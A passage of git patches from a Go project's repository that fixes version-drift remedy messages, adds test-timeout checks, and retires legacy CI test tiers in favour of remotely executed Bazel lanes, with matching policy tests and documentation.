look at the deadline at +// all, rather than inferring intent from the deadline's mere size. +func WithExtendedRetryBudget(ctx context.Context) context.Context { + return context.WithValue(ctx, extendedRetryBudgetKey{}, true) +} + +// HasExtendedRetryBudget reports whether ctx was marked by +// WithExtendedRetryBudget. +func HasExtendedRetryBudget(ctx context.Context) bool { + marked, _ := ctx.Value(extendedRetryBudgetKey{}).(bool) + return marked +} // BatchApplier describes applying a HETEROGENEOUS list of graph mutations as // ONE durable act, and — like Lifecycle, BatchCreator, BatchCloser and diff --git a/issueops/graphcounter.go b/issueops/graphcounter.go index 01ea14058..17eae3594 100644 --- a/issueops/graphcounter.go +++ b/issueops/graphcounter.go @@ -80,9 +80,9 @@ type EdgeCountRequest struct { // be a limit invented for a caller that is not the one that needs it. The // bound belongs to the WIRE operation, where the request arrives from // somewhere else and the cost of an unbounded one is a stranger's — the - // split ApplyBatchRequest.Items makes explicitly by bounding at 100. The - // graph-counts wire slice set it: GET /v0/beads/dependencies:count bounds - // `issue_id` at minItems 1, maxItems 100. + // split ApplyBatchRequest.Items makes explicitly with MaxApplyBatchItems. + // The graph-counts wire slice set it: GET /v0/beads/dependencies:count + // bounds `issue_id` at minItems 1, maxItems 100. IDs []string // Direction is which edges the count is over, and it is REQUIRED. An empty diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 94216e726..5c4f39246 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -3562,10 +3562,19 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { t.Errorf("%s:%s does not contain %q (pr-risk.yml %s):\n%s", c.pkg, c.target, want, c.job, rule) } } + // The script's -test.timeout=20m equals Bazel's 1200s action limit, + // which kills without a goroutine dump; 19m lets Go's fire first. + script := readPolicyFile(t, root, c.script) + if !strings.Contains(script, "-test.timeout=20m") { + t.Errorf("%s no longer passes -test.timeout=20m; revisit %s:%s's -test.timeout=19m", c.script, c.pkg, c.target) + } + if !strings.Contains(bazelAttrBlock(rule, "args"), `"-test.timeout=19m",`) { + t.Errorf("%s:%s must pass -test.timeout=19m after the script's own:\n%s", c.pkg, c.target, rule) + } // The script and its manifest must be in the runfiles: without the // manifest the script silently falls back to hash assignment, so // every shard still passes but no longer runs its job's tests. - m := shardManifestDefault.FindStringSubmatch(readPolicyFile(t, root, c.script)) + m := shardManifestDefault.FindStringSubmatch(script) if m == nil { t.Fatalf("%s has no ${BEADS_TEST_SHARD_MANIFEST:-...} default manifest", c.script) } @@ -3583,11 +3592,6 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { if !strings.Contains(rule, `"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)"`) { t.Errorf("cmd/bd:bd_embedded_test must run the race //cmd/bd:bd as BEADS_TEST_BD_BINARY:\n%s", rule) } - // The script's -test.timeout=20m equals Bazel's 1200s action limit, - // which kills without a goroutine dump; 19m lets Go's fire first. - if !strings.Contains(bazelAttrBlock(rule, "args"), `"-test.timeout=19m",`) { - t.Errorf("cmd/bd:bd_embedded_test must pass -test.timeout=19m after the script's own:\n%s", rule) - } } conformance := risk.job(t, "test-embedded-conformance") diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index e1a89d31d..ac3de4385 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -1089,7 +1089,7 @@ func TestBazelEmbeddedLaneCannotBeNarrowed(t *testing.T) { map[string]string{"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", "BEADS_TEST_EMBEDDED_DOLT": "1", "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)"}, }, "//internal/storage/embeddeddolt:embeddeddolt_embedded_test": { - []string{"$(rootpath //:.github/scripts/embedded-storage-test-shard.sh)", "BEADS_TEST_EMBEDDED_TEST_BINARY", "$(rootpath :embeddeddolt_test)"}, + []string{"$(rootpath //:.github/scripts/embedded-storage-test-shard.sh)", "BEADS_TEST_EMBEDDED_TEST_BINARY", "$(rootpath :embeddeddolt_test)", "-test.timeout=19m"}, map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, }, "//internal/storage/embeddeddolt:embeddeddolt_conformance_core_test": { From 555b01d7891d4b592d83c4545a6dcedd018cbb9c Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 1 Oct 2026 11:34:06 -0700 Subject: [PATCH 043/325] fix(release): name the version-drift remedies that work (#7083) Post-merge review follow-up to #5614. #5614 replaced the shell checker's three-way drift remedy with a bare "Run: scripts/update-versions.sh " in both the Go checker (status 1) and bd preflight's Version sync output, and the release-tag pre-push hook kept answering status 1 with "Fix with: scripts/update-versions.sh ". update-versions.sh derives the old version from cmd/bd/version.go and anchors its substitutions on it, so with version.go already at the canonical version that re-run rewrites only the .githooks markers and uv.lock and leaves any other drifted file as it was. Restore the remedy as versioncheck.Report.MismatchRemedy, shared by the checker and preflight: - one file drifted: edit it to the expected value - several drifted: set version.go to the previous version, then replay scripts/update-versions.sh - version.go is wrong: scripts/update-versions.sh The hook's status-1 text now points at the checker output instead of prescribing update-versions.sh; status 3 is unchanged. The text is sized so one drifted file shows in full within preflight's 500-byte human output, with the several-files case ahead of the version.go one. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 --- .githooks/pre-push | 2 +- CHANGELOG.md | 5 ++ cmd/bd/preflight_test.go | 13 +++++ cmd/bd/preflight_versions.go | 2 +- internal/versioncheck/check.go | 22 ++++++++ scripts/check-versions/main.go | 6 +-- scripts/check-versions/main_test.go | 42 +++++++++++++++ scripts/check-versions/pre_push_hook_test.go | 56 ++++++++++++++++++++ 8 files changed, 141 insertions(+), 7 deletions(-) diff --git a/.githooks/pre-push b/.githooks/pre-push index 5c6acc315..992d7ece3 100755 --- a/.githooks/pre-push +++ b/.githooks/pre-push @@ -37,7 +37,7 @@ if [ "$pushing_version_tag" -eq 1 ]; then echo "" if [ "$checker_status" -eq 1 ]; then echo "❌ Refusing to push release tag v$tag_version: versions are inconsistent." >&2 - echo " Fix with: scripts/update-versions.sh " >&2 + echo " See the checker output above for what is inconsistent and how to fix it." >&2 elif [ "$checker_status" -eq 3 ]; then echo "❌ Refusing to push release tag v$tag_version: the tag does not match this checkout's release version." >&2 echo " The release surfaces agree with each other, so do NOT re-run update-versions.sh." >&2 diff --git a/CHANGELOG.md b/CHANGELOG.md index dbb29bd39..4aa5e6472 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,11 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - `bd preflight --fix --json` no longer returns a `Version sync` fix result: version updates must keep all release surfaces aligned via `scripts/update-versions.sh`. - Release-tag pushes require Go and reject batches containing different release versions. +- On version drift the release-tag pre-push hook points at the checker's + remedies instead of prescribing `scripts/update-versions.sh `, and + `scripts/check-versions.sh` and `bd preflight` list the three that work: with + `cmd/bd/version.go` already at the release version, that re-run rewrites only + the `.githooks` markers and `uv.lock` and leaves any other drifted file as it was. ### Fixed diff --git a/cmd/bd/preflight_test.go b/cmd/bd/preflight_test.go index 4f7e54b3f..4f254fc18 100644 --- a/cmd/bd/preflight_test.go +++ b/cmd/bd/preflight_test.go @@ -514,6 +514,19 @@ func TestRunVersionSyncCheck_BeadsUsesBuiltInAuthority(t *testing.T) { if !strings.Contains(result.Output, "npm package.json: 9.9.9 (expected 1.1.0)") { t.Fatalf("unexpected mismatch output: %q", result.Output) } + // A bare update-versions.sh re-run no-ops on a drifted file, so the check + // carries the remedies that work, and the human view (which prints the + // first 500 bytes of a failed check) shows all of them for one drift. + remedy := versioncheck.Report{CanonicalVersion: "1.1.0"}.MismatchRemedy() + if !strings.HasSuffix(result.Output, "\n"+remedy) { + t.Fatalf("mismatch output lacks the drift remedy: %q", result.Output) + } + if strings.Contains(result.Output, "Run: scripts/update-versions.sh") { + t.Fatalf("mismatch output prescribes a bare update-versions.sh run: %q", result.Output) + } + if shown := truncateOutput(result.Output, 500); strings.HasSuffix(shown, "(truncated)") { + t.Fatalf("human output cuts the remedy for one drifted file: %q", shown) + } if err := os.WriteFile( filepath.Join(root, "npm-package", "package.json"), diff --git a/cmd/bd/preflight_versions.go b/cmd/bd/preflight_versions.go index 199c6bd86..fa74aaa7d 100644 --- a/cmd/bd/preflight_versions.go +++ b/cmd/bd/preflight_versions.go @@ -21,7 +21,7 @@ func runBeadsVersionSyncCheckWithUV( if err != nil { output := err.Error() if report.CanonicalVersion != "" { - output += "\nRun: scripts/update-versions.sh " + report.CanonicalVersion + output += "\n" + report.MismatchRemedy() } return CheckResult{ Name: "Version sync", diff --git a/internal/versioncheck/check.go b/internal/versioncheck/check.go index 2d6f92f7f..16a59288a 100644 --- a/internal/versioncheck/check.go +++ b/internal/versioncheck/check.go @@ -163,6 +163,28 @@ func (r Report) SuccessMessage() string { ) } +// MismatchRemedy formats the operator guidance for a mismatch found against a +// readable canonical version. scripts/update-versions.sh derives the OLD +// version from cmd/bd/version.go and rewrites every other surface with a +// substitution anchored on it, so re-running it for the canonical version +// leaves a drifted file as it was; only the .githooks markers (rewritten +// wholesale) and uv.lock (regenerated) heal that way. Kept short, with the +// several-files case ahead of the version.go one: bd preflight's human output +// shows only the first 500 bytes of a failed check, this follows the list of +// mismatches, and a wrong version.go mismatches every surface, so that list +// alone fills those bytes. +func (r Report) MismatchRemedy() string { + return fmt.Sprintf( + "Re-running scripts/update-versions.sh %[1]s fixes only .githooks markers and\n"+ + "uv.lock (version.go already reads %[1]s). Fix whichever applies:\n"+ + "- one file drifted: edit it to the expected value above\n"+ + "- several drifted: set version.go to the previous version, then\n"+ + " scripts/update-versions.sh %[1]s\n"+ + "- version.go is wrong: scripts/update-versions.sh ", + r.CanonicalVersion, + ) +} + // Check compares every released metadata surface with cmd/bd/version.go. func Check(root string) (Report, error) { report := Report{CheckedSources: len(releaseSources)} diff --git a/scripts/check-versions/main.go b/scripts/check-versions/main.go index 48224e948..5b284eb09 100644 --- a/scripts/check-versions/main.go +++ b/scripts/check-versions/main.go @@ -77,11 +77,7 @@ func run( if err != nil { fmt.Fprintf(stderr, "\n%s❌ %v%s\n", red, err, reset) if report.CanonicalVersion != "" { - fmt.Fprintf( - stderr, - "Run: scripts/update-versions.sh %s\nOr manually update the mismatched files.\n", - report.CanonicalVersion, - ) + fmt.Fprintf(stderr, "\n%s\n", report.MismatchRemedy()) } return 1 } diff --git a/scripts/check-versions/main_test.go b/scripts/check-versions/main_test.go index 0167b661f..6ff14e194 100644 --- a/scripts/check-versions/main_test.go +++ b/scripts/check-versions/main_test.go @@ -182,6 +182,48 @@ func TestRunRejectsTrackedHookMarkerMismatch(t *testing.T) { } } +// On surface drift cmd/bd/version.go already holds the canonical version, so +// scripts/update-versions.sh with that version leaves the drifted file as it +// was. Status 1 must not offer that re-run as the fix; it names the remedies +// that do work. +func TestRunDriftRemedyDoesNotPrescribeUpdateVersionsAlone(t *testing.T) { + root := writeReleaseFixture(t, "1.1.0") + if err := os.WriteFile( + filepath.Join(root, "plugins", "beads", ".copilot-plugin", "plugin.json"), + []byte(`{"version":"1.0.9"}`), + 0o644, + ); err != nil { + t.Fatal(err) + } + + var stdout bytes.Buffer + var stderr bytes.Buffer + code := run(nil, root, &stdout, &stderr, nil) + if code != 1 { + t.Fatalf("exit code = %d, want 1\nstderr:\n%s", code, stderr.String()) + } + for _, want := range []string{ + "Copilot plugin.json: 1.0.9 (expected 1.1.0)", + "Re-running scripts/update-versions.sh 1.1.0 fixes only .githooks markers", + "- one file drifted: edit it to the expected value above", + "- several drifted: set version.go to the previous version, then\n" + + " scripts/update-versions.sh 1.1.0", + "- version.go is wrong: scripts/update-versions.sh ", + } { + if !strings.Contains(stderr.String(), want) { + t.Errorf("stderr lacks %q:\n%s", want, stderr.String()) + } + } + for _, bare := range []string{ + "Run: scripts/update-versions.sh 1.1.0", + "Or manually update the mismatched files", + } { + if strings.Contains(stderr.String(), bare) { + t.Errorf("stderr still prescribes %q:\n%s", bare, stderr.String()) + } + } +} + func writeReleaseFixture(t *testing.T, version string) string { t.Helper() diff --git a/scripts/check-versions/pre_push_hook_test.go b/scripts/check-versions/pre_push_hook_test.go index a417fb0ed..2b3ede171 100644 --- a/scripts/check-versions/pre_push_hook_test.go +++ b/scripts/check-versions/pre_push_hook_test.go @@ -81,3 +81,59 @@ func TestPrePushHookOrdinaryPushWorksWithSystemBash(t *testing.T) { }) } } + +// On drift (checker status 1) the hook defers to the checker's remedies rather +// than prescribing scripts/update-versions.sh itself: with cmd/bd/version.go +// already at the release version, that re-run leaves a drifted file as it was. +// Stub git and checker keep this independent of the checkout, so it also runs +// under Bazel. +func TestPrePushHookDriftRefusalPointsAtCheckerRemedy(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("Windows does not provide the oldest supported /bin/bash") + } + + const bash = "/bin/bash" + if _, err := os.Stat(bash); err != nil { + t.Skipf("system Bash unavailable: %v", err) + } + + hook := filepath.Join(bazeltest.RepoRoot(t), ".githooks", "pre-push") + scratch := t.TempDir() + for name, body := range map[string]string{ + "bin/git": "#!/bin/sh\necho '" + scratch + "'\n", + "scripts/check-versions.sh": "#!/bin/sh\necho 'stub drift report'\nexit 1\n", + } { + path := filepath.Join(scratch, filepath.FromSlash(name)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o755); err != nil { + t.Fatal(err) + } + } + + command := exec.Command(bash, hook, "origin", "https://example.invalid/repo.git") + command.Dir = scratch + command.Env = append(os.Environ(), "PATH="+filepath.Join(scratch, "bin")+":/bin:/usr/bin") + command.Stdin = strings.NewReader( + "refs/tags/v1.1.0 1111111111111111111111111111111111111111 " + + "refs/tags/v1.1.0 0000000000000000000000000000000000000000\n", + ) + output, err := command.CombinedOutput() + var exit *exec.ExitError + if !errors.As(err, &exit) || exit.ExitCode() != 1 { + t.Fatalf("hook status = %v, want 1: %s", err, output) + } + for _, want := range []string{ + "stub drift report", + "versions are inconsistent", + "See the checker output above", + } { + if !strings.Contains(string(output), want) { + t.Errorf("hook output lacks %q:\n%s", want, output) + } + } + if strings.Contains(string(output), "update-versions.sh") { + t.Errorf("hook prescribes update-versions.sh for drift:\n%s", output) + } +} From 3789dde7855a39a61eded59aa29b78436cb5fd94 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 2 Oct 2026 02:20:30 -0700 Subject: [PATCH 044/325] ci: retire PR Risk's legacy proxied and server-Dolt tiers where the gated Bazel lanes run them (D2 step 2) (#7094) * ci: retire PR Risk's legacy proxied and server-Dolt tiers where the gated Bazel lanes run them (D2 step 2) On same-repo, non-Dependabot pull_requests, PR Risk's test-proxied-cmd (15), test-server-storage and test-server-storage-full (16) jobs stand down while the committed BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS flag is "true" (in both pr.yml and pr-risk.yml, policy-tested equal); pr.yml's gated Bazel proxied-server and server-Dolt storage lanes are then the tiers' only pre-merge run. build-embedded, whose embedded-test-binaries artifact feeds exactly the six retired legacy test jobs, stands down where both D2 steps apply. Generalizes step 1 instead of copying it: - bazel-embedded-coverage becomes bazel-coverage (identical in both workflows): one decision step, outputs embedded and dolt_server, each flag && pull_request && !fork && actor != dependabot[bot]; gate id BAZEL_COVERAGE. - PR Risk's gate accepts the retired jobs' skips only when their output is true, and BUILD_EMBEDDED's only when both are. - pr.yml's gate adds BAZEL_DOLT_SERVER_RETIRED: red when dolt_server is true and the mode is not remote or BAZEL_PROXIED / BAZEL_SERVER_STORAGE is not success (shared helper with BAZEL_EMBEDDED_RETIRED). - Lane hardening as for embedded: --nocache_test_results for doltserver-proxied and doltserver-integration, the flaky-target query, check_shard_coverage.py (proxied 15 shards; server full suite 16 shards plus --whole conformance), pinned test steps, rc lines and target args/env; the shard listings now run concurrently (the server script forks per test). - Policy tests generalized over the retired tiers: decision equivalence with bazel.yml's mode across two runs, both gates simulated, flag equality, artifact consumers, real shard scripts in list-only mode. Revert: commit BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "false" in both workflows. Co-Authored-By: Claude Opus 5.5 (1M context) * docs(ci): record the retired legacy proxied and server-Dolt tiers in the check topology Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): no whole-invocation retry on remote cache eviction in the retired tiers' lanes Review F1 (D2 step 2): Bazel 9 re-runs a whole `bazel test` invocation (--experimental_remote_cache_eviction_retries, default 5) when an input was evicted from the remote cache, and that exit code outranks a test failure. With --nocache_test_results every test runs again and only the retry is reported, so a flaky failure in the embedded, proxied or server-storage lane (each now its tier's only pre-merge run) could turn green. Set the retries to 0 in test:embedded, test:doltserver-proxied and test:doltserver-integration (not remote-exec, which must stay key-neutral), pin the lines, forbid any other line or the setup-bazel action from setting the count, and correct the topology doc, which claimed the retry never re-runs a failed test. Reproduced against a local HTTP cache emptied mid-build: with the default the build hit "Lost inputs", retried and exited 0; with 0 it failed. Co-Authored-By: Claude Opus 5.5 (1M context) * test(ci): pin how the retired lanes' shard scripts run their tests Review F2 (D2 step 2): the narrowing scan covered tools/bazel and the setup-bazel action but not the four .github/scripts/*-test-shard.sh scripts the sharded targets execute, so appending -test.short to an exec line or exporting BEADS_TEST_SKIP there passed the policy tests (and check_shard_coverage.py only rejects a shard that is entirely skipped). Pin each script's prebuilt-binary and go test fallback commands exactly and its RUN_REGEX construction, and forbid anything else in the scripts from running tests or selecting, skipping or switching them. The scripts themselves are unchanged (the legacy jobs run them too); a self-test checks that six narrowing edits are rejected. Co-Authored-By: Claude Opus 5.5 (1M context) * test(ci): simulate a non-true coverage decision per retired tier Review F3 (D2 step 2): the "decision succeeded but its output is not exactly 'true'" gate scenarios set both bazel-coverage outputs bad at once, so the embedded ids reddened the gate whatever the dolt_server rule said, and weakening PR Risk's gate to `!= "false"` for one tier passed. Run them per tier, with the other output a valid "false" and only that tier's job skipped, and isolate build-embedded's both-true rule the same way. Failed or cancelled decisions keep the all-skipped scenarios. Co-Authored-By: Claude Opus 5.5 (1M context) * docs(ci): list Bazel tier coverage and the proxied/server-Dolt checks as not directly required Review F4 (D2 step 2): the topology doc still named the renamed `Bazel embedded coverage` job, and its list of check names not to require directly lacked the proxied and server-Dolt test jobs. Co-Authored-By: Claude Opus 5.5 (1M context) * test(ci): skip the real shard-script listing test on bash < 4 The CI shard scripts use associative arrays and only run on Linux runners; macOS's /bin/bash 3.2 can't execute them. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 26 + .github/workflows/bazel.yml | 68 +- .github/workflows/pr-risk.yml | 143 +-- .github/workflows/pr.yml | 119 ++- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 240 +++-- scripts/ci_capability_selector_test.go | 23 +- scripts/ci_workflow_test.go | 50 +- scripts/pr_risk_bazel_coverage_test.go | 1108 ++++++++++++++++++------ tools/bazel/check_shard_coverage.py | 7 +- 9 files changed, 1279 insertions(+), 505 deletions(-) diff --git a/.bazelrc b/.bazelrc index c3d60537f..487334891 100644 --- a/.bazelrc +++ b/.bazelrc @@ -104,6 +104,12 @@ test:embedded --remote_download_regex=.*/test\.xml$ # farm action-cache entry, or an unreproduced -race finding, stand in for a # run: always execute, at farm (not runner) cost. test:embedded --nocache_test_results +# No whole-invocation retry on a remote cache eviction ("Lost inputs"): +# Bazel would re-run every test, and a test that failed in the first +# attempt but passes in the retry would report green, unlike the legacy +# jobs, which never retried. Evicted inputs fail the step instead; a +# visible "Re-run failed jobs" retries it. +test:embedded --experimental_remote_cache_eviction_retries=0 # Dolt-server lane: the same jobs as the docker lane ("Test (storage domain + # uow)" and "Contract corpus"), but every dolt sql-server is a child of the @@ -151,6 +157,16 @@ test:doltserver-proxied --test_env=GO_TEST_WRAP_TESTV=1 test:doltserver-proxied --test_arg=-test.parallel=4 test:doltserver-proxied --local_test_jobs=4 test:doltserver-proxied --remote_download_regex=.*/test\.(log|xml)$ +# Since D2 step 2 this lane is the tier's only pre-merge run on same-repo +# PRs: execute every time, like the jobs' -test.count=1, never replay a +# cached result. +test:doltserver-proxied --nocache_test_results +# No whole-invocation retry on a remote cache eviction ("Lost inputs"): +# Bazel would re-run every test, and a test that failed in the first +# attempt but passes in the retry would report green, unlike the legacy +# jobs, which never retried. Evicted inputs fail the step instead; a +# visible "Re-run failed jobs" retries it. +test:doltserver-proxied --experimental_remote_cache_eviction_retries=0 # Server-Dolt storage tier: PR Risk's "Test (Server Dolt Conformance)" and # "Test (Server Dolt Full Suite N/16)" jobs, as @@ -178,6 +194,16 @@ test:doltserver-integration --test_env=GO_TEST_WRAP_TESTV=1 test:doltserver-integration --test_arg=-test.parallel=4 test:doltserver-integration --local_test_jobs=4 test:doltserver-integration --remote_download_regex=.*/test\.(log|xml)$ +# Since D2 step 2 this lane is the tier's only pre-merge run on same-repo +# PRs: execute every time, like the jobs' -test.count=1, never replay a +# cached result. +test:doltserver-integration --nocache_test_results +# No whole-invocation retry on a remote cache eviction ("Lost inputs"): +# Bazel would re-run every test, and a test that failed in the first +# attempt but passes in the retry would report green, unlike the legacy +# jobs, which never retried. Evicted inputs fail the step instead; a +# visible "Re-run failed jobs" retries it. +test:doltserver-integration --experimental_remote_cache_eviction_retries=0 # Integration lane: main.yml's "Main Linux integration packages (N/6)" and # "Main Linux integration cmd/bd (N/8)" jobs (and nightly.yml's Full Test diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index d6301cc35..a8b35c24c 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -6,12 +6,14 @@ # # PRs and merge groups run it through pr.yml's `bazel` job (workflow_call), # in the same run as the legacy jobs it mirrors, which stay required too, -# except pr-risk.yml's embedded-Dolt test jobs: while the committed -# BAZEL_RETIRES_LEGACY_EMBEDDED flag is "true", on a same-repo, -# non-Dependabot pull_request (whatever the mode), pr-risk.yml's bazel-embedded-coverage job stands them down and -# bazel-embedded alone runs the tier; pr.yml's ci-gate then requires that -# lane to have run remotely and passed, so modes skip, local and cache are -# red there (scripts/pr_risk_bazel_coverage_test.go). +# except pr-risk.yml's embedded-Dolt, proxied-server and server-Dolt storage +# test jobs: while the committed BAZEL_RETIRES_LEGACY_EMBEDDED / +# BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS flag is "true", on a same-repo, +# non-Dependabot pull_request (whatever the mode), pr-risk.yml's +# bazel-coverage job stands them down and bazel-embedded, or bazel-proxied +# and bazel-server-storage, alone run the tier; pr.yml's ci-gate then +# requires those lanes to have run remotely and passed, so modes skip, local +# and cache are red there (scripts/pr_risk_bazel_coverage_test.go). # This file has no pull_request or merge_group trigger of its own, so a PR # runs the lane once. Every lane reports its job.status as a workflow_call # output (named after the job) from an always() last step. pr.yml's ci-gate @@ -678,7 +680,7 @@ jobs: # on the pool whose job cap this track exists to relieve, and it proves # nothing pr-risk.yml's embedded jobs (which do run for forks) do not. # On same-repo pull_requests those jobs stand down (pr-risk.yml's - # bazel-embedded-coverage), so this lane is then the tier's only PR run + # bazel-coverage), so this lane is then the tier's only PR run # and pr.yml's gate requires it to have run here and passed. # The runs-on expression is the shared one and always picks the # Blacksmith runner under this if. @@ -965,6 +967,9 @@ jobs: # Remote execution only, like bazel-embedded: 15 shards of ~5-10 # minutes, each with a dolt sql-server busy on ~4 cores, do not fit a # GitHub-hosted runner. + # On same-repo pull_requests the legacy jobs stand down (pr-risk.yml's + # bazel-coverage; D2 step 2), so this lane is then the tier's only PR + # run and pr.yml's gate requires it to have run here and passed. needs: rbe runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} @@ -992,6 +997,18 @@ jobs: RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} + # Bazel retries a flaky = True test (up to three attempts) and reports a + # later pass as PASSED. The policy test greps BUILD files for it; this + # asks Bazel itself, so a macro or a variable cannot hide one. Cheap: + # loading only, with the repository cache the test step needs anyway. + - name: No test target is marked flaky + run: | + flaky="$(bazel query 'attr(flaky, 1, tests(//...))')" + if [ -n "$flaky" ]; then + echo "::error::flaky = True on ${flaky//$'\n'/ }: the gated lanes run each test once" + exit 1 + fi + # Remote: the longest shard takes ~5-8 minutes (each shard's Go # timeout is its job's 15m, 1200s Bazel cap), plus a compile. - name: bazel test //... --config=doltserver-proxied @@ -1012,6 +1029,16 @@ jobs: if: ${{ always() && steps.test.outcome != 'skipped' }} run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" + # Since D2 step 2 this lane is the tier's only pre-merge run on + # same-repo PRs: as in bazel-embedded, every Bazel shard must run + # exactly the tests its shard script lists, and not only skips. + - name: Every listed test ran in its shard + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: >- + python3 tools/bazel/check_shard_coverage.py + --bep "$RUNNER_TEMP/bazel-bep.json" + --suite //cmd/bd:bd_proxied_test .github/scripts/proxied-test-shard.sh 15 + - name: Upload test logs if: ${{ failure() && steps.test.outcome != 'skipped' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 @@ -1047,6 +1074,9 @@ jobs: name: server-Dolt storage tier # Remote execution only, like bazel-integration: locally the tagged race # build of //... alone is most of the timeout. + # On same-repo pull_requests the legacy jobs stand down (pr-risk.yml's + # bazel-coverage; D2 step 2), so this lane is then the tier's only PR + # run and pr.yml's gate requires it to have run here and passed. needs: rbe runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} @@ -1074,6 +1104,18 @@ jobs: RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} + # Bazel retries a flaky = True test (up to three attempts) and reports a + # later pass as PASSED. The policy test greps BUILD files for it; this + # asks Bazel itself, so a macro or a variable cannot hide one. Cheap: + # loading only, with the repository cache the test step needs anyway. + - name: No test target is marked flaky + run: | + flaky="$(bazel query 'attr(flaky, 1, tests(//...))')" + if [ -n "$flaky" ]; then + echo "::error::flaky = True on ${flaky//$'\n'/ }: the gated lanes run each test once" + exit 1 + fi + # Remote: the longest shard takes ~2-3 minutes (the storage suite's Go # timeout is 15m per shard, 1200s Bazel cap), plus a compile. - name: bazel test //... --config=doltserver-integration @@ -1094,6 +1136,18 @@ jobs: if: ${{ always() && steps.test.outcome != 'skipped' }} run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" + # Since D2 step 2 this lane is the tier's only pre-merge run on + # same-repo PRs: as in bazel-embedded, every full-suite shard must run + # exactly the tests its shard script lists, and neither it nor the + # conformance target only skips. + - name: Every listed test ran in its shard + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: >- + python3 tools/bazel/check_shard_coverage.py + --bep "$RUNNER_TEMP/bazel-bep.json" + --suite //internal/storage/dolt:dolt_server_full_test .github/scripts/server-storage-test-shard.sh 16 + --whole //internal/storage/dolt:dolt_server_conformance_test + - name: Upload test logs if: ${{ failure() && steps.test.outcome != 'skipped' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index 8bbb27591..d0ce7f5c7 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -12,15 +12,18 @@ concurrency: env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" - # D2 step 1: "true" retires PR Risk's legacy embedded-Dolt test jobs on - # same-repo, non-Dependabot pull_requests; pr.yml's - # gated Bazel lane is then the tier's only pre-merge run, and pr.yml's - # gate goes red unless that lane ran remotely and passed. Committed, not a - # repo variable, so a re-run can never change it; must equal pr.yml's / - # pr-risk.yml's copy (scripts/pr_risk_bazel_coverage_test.go). Revert: - # commit "false" in both workflows (in-flight PRs pick it up on their next - # push or merge of main). + # D2: "true" retires a PR Risk legacy tier on same-repo, non-Dependabot + # pull_requests; pr.yml's gated Bazel lane(s) for it are then the tier's + # only pre-merge run, and pr.yml's gate goes red unless they ran remotely + # and passed. Committed, not repo variables, so a re-run can never change + # them; each must equal pr.yml's / pr-risk.yml's copy + # (scripts/pr_risk_bazel_coverage_test.go). Revert: commit "false" in both + # workflows (in-flight PRs pick it up on their next push or merge of main). + # Step 1: the embedded-Dolt test jobs (Bazel `embedded Dolt tier`). BAZEL_RETIRES_LEGACY_EMBEDDED: "true" + # Step 2: the proxied-server and server-Dolt storage test jobs (Bazel + # `proxied-server tier` and `server-Dolt storage tier`). + BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "true" jobs: detect-ci-tier: @@ -64,51 +67,66 @@ jobs: printf '%s\n' "$selection" | sed 's/^/- `/' | sed 's/$/`/' } >> "$GITHUB_STEP_SUMMARY" - # D2 step 1: whether the legacy test-embedded-* jobs below stand down - # because pr.yml's gated Bazel `embedded Dolt tier` lane is this PR's run of - # the tier. True only with BAZEL_RETIRES_LEGACY_EMBEDDED, on a same-repo (not - # fork) pull_request whose actor is not Dependabot. pr.yml runs this same - # job (policy-tested identical) and its gate goes red unless the lane then - # ran remotely and passed, so neither the kill switch 